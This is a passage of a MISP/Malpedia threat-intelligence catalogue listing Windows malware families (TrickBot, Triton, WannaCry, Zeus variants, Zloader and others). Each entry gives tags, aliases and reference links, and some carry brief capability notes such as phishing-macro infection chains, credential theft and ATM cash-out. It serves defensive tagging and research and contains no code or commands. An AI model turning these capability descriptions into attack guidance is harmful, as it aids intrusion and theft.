TreasureHunter
The tag is: misp-galaxy:malpedia="TreasureHunter"
TreasureHunter is also known as:
-
huntpos
TrickBot
A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tactics. Has multiple modules including VNC and Socks5 Proxy. Uses SSL for C2 communication.
-
Q4 2016 - Detected in wild Oct 2016 - 1st Report Jan 2018 - Use XMRIG (Monero) miner Feb 2018 - Theft Bitcoin Mar 2018 - Unfinished ransomware module
Infection Vector 1. Phish > Link MS Office > Macro Enabled > Downloader > Trickbot 2. Phish > Attached MS Office > Marco Enabled > Downloader > Trickbot 3. Phish > Attached MS Office > Marco enabled > Trickbot installed
The tag is: misp-galaxy:malpedia="TrickBot"
TrickBot is also known as:
-
TheTrick
-
TrickLoader
-
Trickster
Triton
Malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety Instrumented System (SIS) controllers.
The tag is: misp-galaxy:malpedia="Triton"
Triton is also known as:
-
HatMan
-
Trisis
Links |
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware |
Trochilus RAT
The tag is: misp-galaxy:malpedia="Trochilus RAT"
Trochilus RAT is also known as:
Troldesh
The tag is: misp-galaxy:malpedia="Troldesh"
Troldesh is also known as:
-
Shade
Trump Ransom
The tag is: misp-galaxy:malpedia="Trump Ransom"
Trump Ransom is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.trump_ransom |
Tsifiri
The tag is: misp-galaxy:malpedia="Tsifiri"
Tsifiri is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tsifiri |
TURNEDUP
The tag is: misp-galaxy:malpedia="TURNEDUP"
TURNEDUP is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup |
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage |
Tyupkin
The tag is: misp-galaxy:malpedia="Tyupkin"
Tyupkin is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.tyupkin |
UACMe
A toolkit maintained by hfiref0x which incorporates numerous UAC bypass techniques for Windows 7 - Windows 10. Typically, components of this tool are stripped out and reused by malicious actors.
The tag is: misp-galaxy:malpedia="UACMe"
UACMe is also known as:
-
Akagi
Links |
UDPoS
The tag is: misp-galaxy:malpedia="UDPoS"
UDPoS is also known as:
UFR Stealer
Information stealer.
The tag is: misp-galaxy:malpedia="UFR Stealer"
UFR Stealer is also known as:
-
Usteal
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer |
https://twitter.com/malwrhunterteam/status/1096363455769202688 |
Uiwix
The tag is: misp-galaxy:malpedia="Uiwix"
Uiwix is also known as:
Links |
https://www.minerva-labs.com/post/uiwix-evasive-ransomware-exploiting-eternalblue |
Unidentified 001
The tag is: misp-galaxy:malpedia="Unidentified 001"
Unidentified 001 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001 |
Unidentified 003
The tag is: misp-galaxy:malpedia="Unidentified 003"
Unidentified 003 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003 |
win.unidentified_005
The tag is: misp-galaxy:malpedia="win.unidentified_005"
win.unidentified_005 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_005 |
Unidentified 006
The tag is: misp-galaxy:malpedia="Unidentified 006"
Unidentified 006 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_006 |
Unidentified 013 (Korean)
The tag is: misp-galaxy:malpedia="Unidentified 013 (Korean)"
Unidentified 013 (Korean) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_013_korean_malware |
http://blog.talosintelligence.com/2017/02/korean-maldoc.html |
Unidentified 020 (Vault7)
The tag is: misp-galaxy:malpedia="Unidentified 020 (Vault7)"
Unidentified 020 (Vault7) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_020_cia_vault7 |
Unidentified 022 (Ransom)
The tag is: misp-galaxy:malpedia="Unidentified 022 (Ransom)"
Unidentified 022 (Ransom) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_022_ransom |
Unidentified 023
The tag is: misp-galaxy:malpedia="Unidentified 023"
Unidentified 023 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_023 |
Unidentified 024 (Ransomware)
The tag is: misp-galaxy:malpedia="Unidentified 024 (Ransomware)"
Unidentified 024 (Ransomware) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_024_ransom |
https://twitter.com/malwrhunterteam/status/789161704106127360 |
Unidentified 025 (Clickfraud)
The tag is: misp-galaxy:malpedia="Unidentified 025 (Clickfraud)"
Unidentified 025 (Clickfraud) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_025_clickfraud |
Unidentified 028
The tag is: misp-galaxy:malpedia="Unidentified 028"
Unidentified 028 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_028 |
Unidentified 029
The tag is: misp-galaxy:malpedia="Unidentified 029"
Unidentified 029 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_029 |
Filecoder
The tag is: misp-galaxy:malpedia="Filecoder"
Filecoder is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_030 |
https://twitter.com/JaromirHorejsi/status/877811773826641920 |
Unidentified 031
The tag is: misp-galaxy:malpedia="Unidentified 031"
Unidentified 031 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_031 |
Unidentified 032
The tag is: misp-galaxy:malpedia="Unidentified 032"
Unidentified 032 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_032 |
https://researchcenter.paloaltonetworks.com/2017/08/unit42-blockbuster-saga-continues/ |
Unidentified 035
The tag is: misp-galaxy:malpedia="Unidentified 035"
Unidentified 035 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_035 |
Unidentified 037
The tag is: misp-galaxy:malpedia="Unidentified 037"
Unidentified 037 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_037 |
Unidentified 038
The tag is: misp-galaxy:malpedia="Unidentified 038"
Unidentified 038 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_038 |
Unidentified 039
The tag is: misp-galaxy:malpedia="Unidentified 039"
Unidentified 039 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_039 |
Unidentified 041
The tag is: misp-galaxy:malpedia="Unidentified 041"
Unidentified 041 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_041 |
Unidentified 042
The tag is: misp-galaxy:malpedia="Unidentified 042"
Unidentified 042 is also known as:
Unidentified 044
The tag is: misp-galaxy:malpedia="Unidentified 044"
Unidentified 044 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_044 |
Unidentified 045
The tag is: misp-galaxy:malpedia="Unidentified 045"
Unidentified 045 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_045 |
Unidentified 047
RAT written in Delphi used by Patchwork APT.
The tag is: misp-galaxy:malpedia="Unidentified 047"
Unidentified 047 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_047 |
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/ |
Unidentified 049 (Lazarus/RAT)
The tag is: misp-galaxy:malpedia="Unidentified 049 (Lazarus/RAT)"
Unidentified 049 (Lazarus/RAT) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_049 |
https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/ |
Unidentified 051
The tag is: misp-galaxy:malpedia="Unidentified 051"
Unidentified 051 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_051 |
Unidentified 052
The tag is: misp-galaxy:malpedia="Unidentified 052"
Unidentified 052 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_052 |
Unidentified 053 (Wonknu?)
The tag is: misp-galaxy:malpedia="Unidentified 053 (Wonknu?)"
Unidentified 053 (Wonknu?) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_053 |
https://labsblog.f-secure.com/2015/11/24/wonknu-a-spy-for-the-3rd-asean-us-summit/ |
Unidentified 055
Unnamed downloader for win.wscspl as described in the 360ti blog post.
The tag is: misp-galaxy:malpedia="Unidentified 055"
Unidentified 055 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_055 |
Unidentified 057
Unnamed portscanner as used in the Australian Parliament Hack (Feb 2019).
The tag is: misp-galaxy:malpedia="Unidentified 057"
Unidentified 057 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_057 |
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/ |
Unidentified 058
The tag is: misp-galaxy:malpedia="Unidentified 058"
Unidentified 058 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_058 |
https://securelist.com/the-evolution-of-brazilian-malware/74325/#rat |
Unlock92
The tag is: misp-galaxy:malpedia="Unlock92"
Unlock92 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.unlock92 |
UPAS
The tag is: misp-galaxy:malpedia="UPAS"
UPAS is also known as:
-
Rombrast
Links |
https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html |
https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/ |
Upatre
The tag is: misp-galaxy:malpedia="Upatre"
Upatre is also known as:
Links |
https://johannesbader.ch/2015/06/Win32-Upatre-BI-Part-1-Unpacking/ |
Urausy
The tag is: misp-galaxy:malpedia="Urausy"
Urausy is also known as:
Links |
UrlZone
The tag is: misp-galaxy:malpedia="UrlZone"
UrlZone is also known as:
-
Bebloh
-
Shiotob
Uroburos (Windows)
The tag is: misp-galaxy:malpedia="Uroburos (Windows)"
Uroburos (Windows) is also known as:
-
Snake
Vawtrak
The tag is: misp-galaxy:malpedia="Vawtrak"
Vawtrak is also known as:
-
Catch
-
NeverQuest
-
grabnew
VegaLocker
Delphi-based ransomware.
The tag is: misp-galaxy:malpedia="VegaLocker"
VegaLocker is also known as:
-
Vega
Velso Ransomware
Ransomware that appears to require manually installation (believed to be via RDP). Encrypts files with .velso extension.
The tag is: misp-galaxy:malpedia="Velso Ransomware"
Velso Ransomware is also known as:
Links |
Venus Locker
The tag is: misp-galaxy:malpedia="Venus Locker"
Venus Locker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.venus_locker |
https://twitter.com/JaromirHorejsi/status/813690129088937984 |
Vermin
The tag is: misp-galaxy:malpedia="Vermin"
Vermin is also known as:
Links |
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/ |
Vflooder
Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protectd by VMProtect.
The tag is: misp-galaxy:malpedia="Vflooder"
Vflooder is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder |
https://blog.malwarebytes.com/threat-analysis/2017/10/analyzing-malware-by-api-calls/ |
vidar
Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.
The tag is: misp-galaxy:malpedia="vidar"
vidar is also known as:
virdetdoor
The tag is: misp-galaxy:malpedia="virdetdoor"
virdetdoor is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor |
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks |
Virut
The tag is: misp-galaxy:malpedia="Virut"
Virut is also known as:
VM Zeus
The tag is: misp-galaxy:malpedia="VM Zeus"
VM Zeus is also known as:
-
VMzeus
-
Zberp
-
ZeusVM
Vobfus
The tag is: misp-galaxy:malpedia="Vobfus"
Vobfus is also known as:
Volgmer
The tag is: misp-galaxy:malpedia="Volgmer"
Volgmer is also known as:
-
FALLCHILL
-
Manuscrypt
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer |
Vreikstadi
The tag is: misp-galaxy:malpedia="Vreikstadi"
Vreikstadi is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.vreikstadi |
https://twitter.com/malware_traffic/status/821483557990318080 |
vSkimmer
The tag is: misp-galaxy:malpedia="vSkimmer"
vSkimmer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer |
http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis |
w32times
The tag is: misp-galaxy:malpedia="w32times"
w32times is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times |
WallyShack
The tag is: misp-galaxy:malpedia="WallyShack"
WallyShack is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.wallyshack |
WannaCryptor
The tag is: misp-galaxy:malpedia="WannaCryptor"
WannaCryptor is also known as:
-
Wana Decrypt0r
-
WannaCry
-
Wcry
WaterMiner
The tag is: misp-galaxy:malpedia="WaterMiner"
WaterMiner is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer |
https://blog.minerva-labs.com/waterminer-a-new-evasive-crypto-miner |
WaterSpout
The tag is: misp-galaxy:malpedia="WaterSpout"
WaterSpout is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout |
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html |
WebC2-AdSpace
The tag is: misp-galaxy:malpedia="WebC2-AdSpace"
WebC2-AdSpace is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace |
WebC2-Ausov
The tag is: misp-galaxy:malpedia="WebC2-Ausov"
WebC2-Ausov is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ausov |
WebC2-Bolid
The tag is: misp-galaxy:malpedia="WebC2-Bolid"
WebC2-Bolid is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid |
WebC2-Cson
The tag is: misp-galaxy:malpedia="WebC2-Cson"
WebC2-Cson is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson |
WebC2-DIV
The tag is: misp-galaxy:malpedia="WebC2-DIV"
WebC2-DIV is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div |
WebC2-GreenCat
The tag is: misp-galaxy:malpedia="WebC2-GreenCat"
WebC2-GreenCat is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat |
WebC2-Head
The tag is: misp-galaxy:malpedia="WebC2-Head"
WebC2-Head is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head |
WebC2-Kt3
The tag is: misp-galaxy:malpedia="WebC2-Kt3"
WebC2-Kt3 is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_kt3 |
WebC2-Qbp
The tag is: misp-galaxy:malpedia="WebC2-Qbp"
WebC2-Qbp is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_qbp |
WebC2-Rave
The tag is: misp-galaxy:malpedia="WebC2-Rave"
WebC2-Rave is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_rave |
WebC2-Table
The tag is: misp-galaxy:malpedia="WebC2-Table"
WebC2-Table is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_table |
WebC2-UGX
The tag is: misp-galaxy:malpedia="WebC2-UGX"
WebC2-UGX is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx |
WebC2-Yahoo
The tag is: misp-galaxy:malpedia="WebC2-Yahoo"
WebC2-Yahoo is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_yahoo |
WebMonitor RAT
On its website, Webmonitor RAT is described as 'a very powerful, user-friendly, easy-to-setup and state-of-the-art monitoring tool. Webmonitor is a fully native RAT, meaning it will run on all Windows versions and languages starting from Windows XP and up, and perfectly compatible with all crypters and protectors.' Unit42 notes in their analysis that it is offered as C2-as-a-service and raises the controversial aspect that the builder allows to create client binaries that will not show any popup or dialogue during installation or while running on a target system.
The tag is: misp-galaxy:malpedia="WebMonitor RAT"
WebMonitor RAT is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor |
https://krebsonsecurity.com/2019/04/whos-behind-the-revcode-webmonitor-rat/ |
WellMess
The tag is: misp-galaxy:malpedia="WellMess"
WellMess is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.wellmess |
WildFire
The tag is: misp-galaxy:malpedia="WildFire"
WildFire is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.wildfire |
https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/ |
WinMM
The tag is: misp-galaxy:malpedia="WinMM"
WinMM is also known as:
Links |
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
Winnti (Windows)
The tag is: misp-galaxy:malpedia="Winnti (Windows)"
Winnti (Windows) is also known as:
WinPot
WinPot is created to make ATMs by a popular ATM vendor to automatically dispense all cash from their most valuable cassettes.
The tag is: misp-galaxy:malpedia="WinPot"
WinPot is also known as:
-
ATMPot
Links |
https://www.association-secure-transactions.eu/east-publishes-fraud-update-2-2018/ |
Winsloader
The tag is: misp-galaxy:malpedia="Winsloader"
Winsloader is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader |
Wipbot
The tag is: misp-galaxy:malpedia="Wipbot"
Wipbot is also known as:
Links |
WMI Ghost
The tag is: misp-galaxy:malpedia="WMI Ghost"
WMI Ghost is also known as:
-
Syndicasec
-
Wimmie
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost |
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets |
WndTest
The tag is: misp-galaxy:malpedia="WndTest"
WndTest is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.wndtest |
Wonknu
The tag is: misp-galaxy:malpedia="Wonknu"
Wonknu is also known as:
Links |
https://labsblog.f-secure.com/2015/11/24/wonknu-a-spy-for-the-3rd-asean-us-summit/ |
woody
The tag is: misp-galaxy:malpedia="woody"
woody is also known as:
Links |
Woolger
The tag is: misp-galaxy:malpedia="Woolger"
Woolger is also known as:
-
WoolenLogger
WSCSPL
The tag is: misp-galaxy:malpedia="WSCSPL"
WSCSPL is also known as:
Links |
X-Agent (Windows)
The tag is: misp-galaxy:malpedia="X-Agent (Windows)"
X-Agent (Windows) is also known as:
-
chopstick
-
splm
XBot POS
The tag is: misp-galaxy:malpedia="XBot POS"
XBot POS is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos |
https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html |
XBTL
The tag is: misp-galaxy:malpedia="XBTL"
XBTL is also known as:
Links |
Xpan
The tag is: misp-galaxy:malpedia="Xpan"
Xpan is also known as:
Links |
https://securelist.com/blog/research/78110/xpan-i-am-your-father/ |
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/ |
XPCTRA
Incorporates code of Quasar RAT.
The tag is: misp-galaxy:malpedia="XPCTRA"
XPCTRA is also known as:
-
Expectra
Links |
https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis |
XP PrivEsc (CVE-2014-4076)
The tag is: misp-galaxy:malpedia="XP PrivEsc (CVE-2014-4076)"
XP PrivEsc (CVE-2014-4076) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.xp_privesc |
xsPlus
The tag is: misp-galaxy:malpedia="xsPlus"
xsPlus is also known as:
-
nokian
Links |
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
X-Tunnel
X-Tunnel is a network proxy tool that implements a custom network protocol encapsulated in the TLS protocol.
The tag is: misp-galaxy:malpedia="X-Tunnel"
X-Tunnel is also known as:
-
xaps
X-Tunnel (.NET)
This is a rewrite of win.xtunnel using the .NET framework that surfaced late 2017.
The tag is: misp-galaxy:malpedia="X-Tunnel (.NET)"
X-Tunnel (.NET) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.xtunnel_net |
https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28 |
Xwo
In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.
The tag is: misp-galaxy:malpedia="Xwo"
Xwo is also known as:
Links |
https://www.alienvault.com/blogs/labs-research/xwo-a-python-based-bot-scanner |
xxmm
The tag is: misp-galaxy:malpedia="xxmm"
xxmm is also known as:
-
ShadowWalker
Links |
https://jsac.jpcert.or.jp/archive/2019/pdf/JSAC2019_8_nakatsuru_en.pdf |
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses |
Yahoyah
The tag is: misp-galaxy:malpedia="Yahoyah"
Yahoyah is also known as:
-
KeyBoy
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah |
yayih
The tag is: misp-galaxy:malpedia="yayih"
yayih is also known as:
-
aumlib
-
bbsinfo
Links |
YoungLotus
Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.
PE timestamps suggest that it came into existence in the second half of 2014.
Some versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).
The tag is: misp-galaxy:malpedia="YoungLotus"
YoungLotus is also known as:
-
DarkShare
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus |
yty
The tag is: misp-galaxy:malpedia="yty"
yty is also known as:
Links |
https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/ |
Zebrocy
The tag is: misp-galaxy:malpedia="Zebrocy"
Zebrocy is also known as:
-
Zekapab
Zebrocy (AutoIT)
The tag is: misp-galaxy:malpedia="Zebrocy (AutoIT)"
Zebrocy (AutoIT) is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy_au3 |
https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/ |
Zedhou
The tag is: misp-galaxy:malpedia="Zedhou"
Zedhou is also known as:
Links |
ZeroAccess
The tag is: misp-galaxy:malpedia="ZeroAccess"
ZeroAccess is also known as:
-
Max++
-
Sirefef
-
Smiscer
ZeroEvil
ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.
It first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs_gate.php (plugin=, report=). So far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.
The ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze_core.DLL (Mutex) and ze_autorun.DLL (Run-Key).
The tag is: misp-galaxy:malpedia="ZeroEvil"
ZeroEvil is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroevil |
https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/ |
ZeroT
The tag is: misp-galaxy:malpedia="ZeroT"
ZeroT is also known as:
Links |
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx |
Zeus
The tag is: misp-galaxy:malpedia="Zeus"
Zeus is also known as:
-
Zbot
Zeus MailSniffer
The tag is: misp-galaxy:malpedia="Zeus MailSniffer"
Zeus MailSniffer is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer |
Zeus OpenSSL
This family describes the Zeus-variant that includes a version of OpenSSL and usually is downloaded by Zloader.
In June 2016, the version 1.5.4.0 (PE timestamp: 2016.05.11) appeared, downloaded by Zloader (known as DEloader at that time). OpenSSL 1.0.1p is statically linked to it, thus its size is roughly 1.2 MB. In subsequent months, that size increased up to 1.6 MB. In January 2017, with version 1.14.8.0, OpenSSL 1.0.2j was linked to it, increasing the size to 1.8 MB. Soon after also in January 2017, with version v1.15.0.0 the code was obfuscated, blowing up the size of the binary to 2.2 MB.
Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.
Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)
Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)
The tag is: misp-galaxy:malpedia="Zeus OpenSSL"
Zeus OpenSSL is also known as:
-
XSphinx
Zeus Sphinx
This family describes the vanilla Zeus-variant that includes TOR (and Polipo proxy). It has an almost 90% overlap with Zeus v2.0.8.9. Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.
Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)
Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)
The tag is: misp-galaxy:malpedia="Zeus Sphinx"
Zeus Sphinx is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx |
https://securityaffairs.co/wordpress/39592/cyber-crime/sphinx-variant-zeus-trojan.html |
Zezin
The tag is: misp-galaxy:malpedia="Zezin"
Zezin is also known as:
Links |
ZhCat
The tag is: misp-galaxy:malpedia="ZhCat"
ZhCat is also known as:
Links |
ZhMimikatz
The tag is: misp-galaxy:malpedia="ZhMimikatz"
ZhMimikatz is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.zhmimikatz |
Zloader
This family describes the (initially small) loader, which downloads Zeus OpenSSL.
In June 2016, a new loader was dubbed DEloader by Fortinet. It has some functions borrowed from Zeus 2.0.8.9 (e.g. the versioning, nrv2b, binstorage-labels), but more importantly, it downloaded a Zeus-like banking trojan (→ Zeus OpenSSL). Furthermore, the loader shared its versioning with the Zeus OpenSSL it downloaded. The initial samples from May 2016 were small (17920 bytes). At some point, visualEncrypt/Decrypt was added, e.g. in v1.11.0.0 (September 2016) with size 27648 bytes. In January 2017 with v1.15.0.0, obfuscation was added, which blew the size up to roughly 80k, and the loader became known as Zloader aka Terdot. These changes may be related to the Moskalvzapoe Distribution Network, which started the distribution of it at the same time.
Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.
The tag is: misp-galaxy:malpedia="Zloader"
Zloader is also known as:
-
DELoader
-
Terdot
ZoxPNG
The tag is: misp-galaxy:malpedia="ZoxPNG"
ZoxPNG is also known as:
-
gresim
Links |
http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf |
ZXShell
The tag is: misp-galaxy:malpedia="ZXShell"
ZXShell is also known as:
-
Sensocode
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell |
Zyklon
The tag is: misp-galaxy:malpedia="Zyklon"
Zyklon is also known as:
Links |
https://blog.talosintelligence.com/2017/05/modified-zyklon-and-plugins-from-india.html |
https://asert.arbornetworks.com/wp-content/uploads/2017/05/zyklon_season.pdf |
MedusaLocker
A Windows ransomware that will run certain tasks to prepare the target system for the encryption of files. MedusaLocker avoids executable files, probably to avoid rendering the targeted system unusable for paying the ransom. It uses a combination of AES and RSA-2048, and reportedly appends extensions such as .encrypted, .bomber, .boroff, .breakingbad, .locker16, .newlock, .nlocker, and .skynet.
The tag is: misp-galaxy:malpedia="MedusaLocker"
MedusaLocker is also known as:
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker |
Microsoft Activity Group actor
Activity groups as described by Microsoft.
Microsoft Activity Group actor is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various
PROMETHIUM
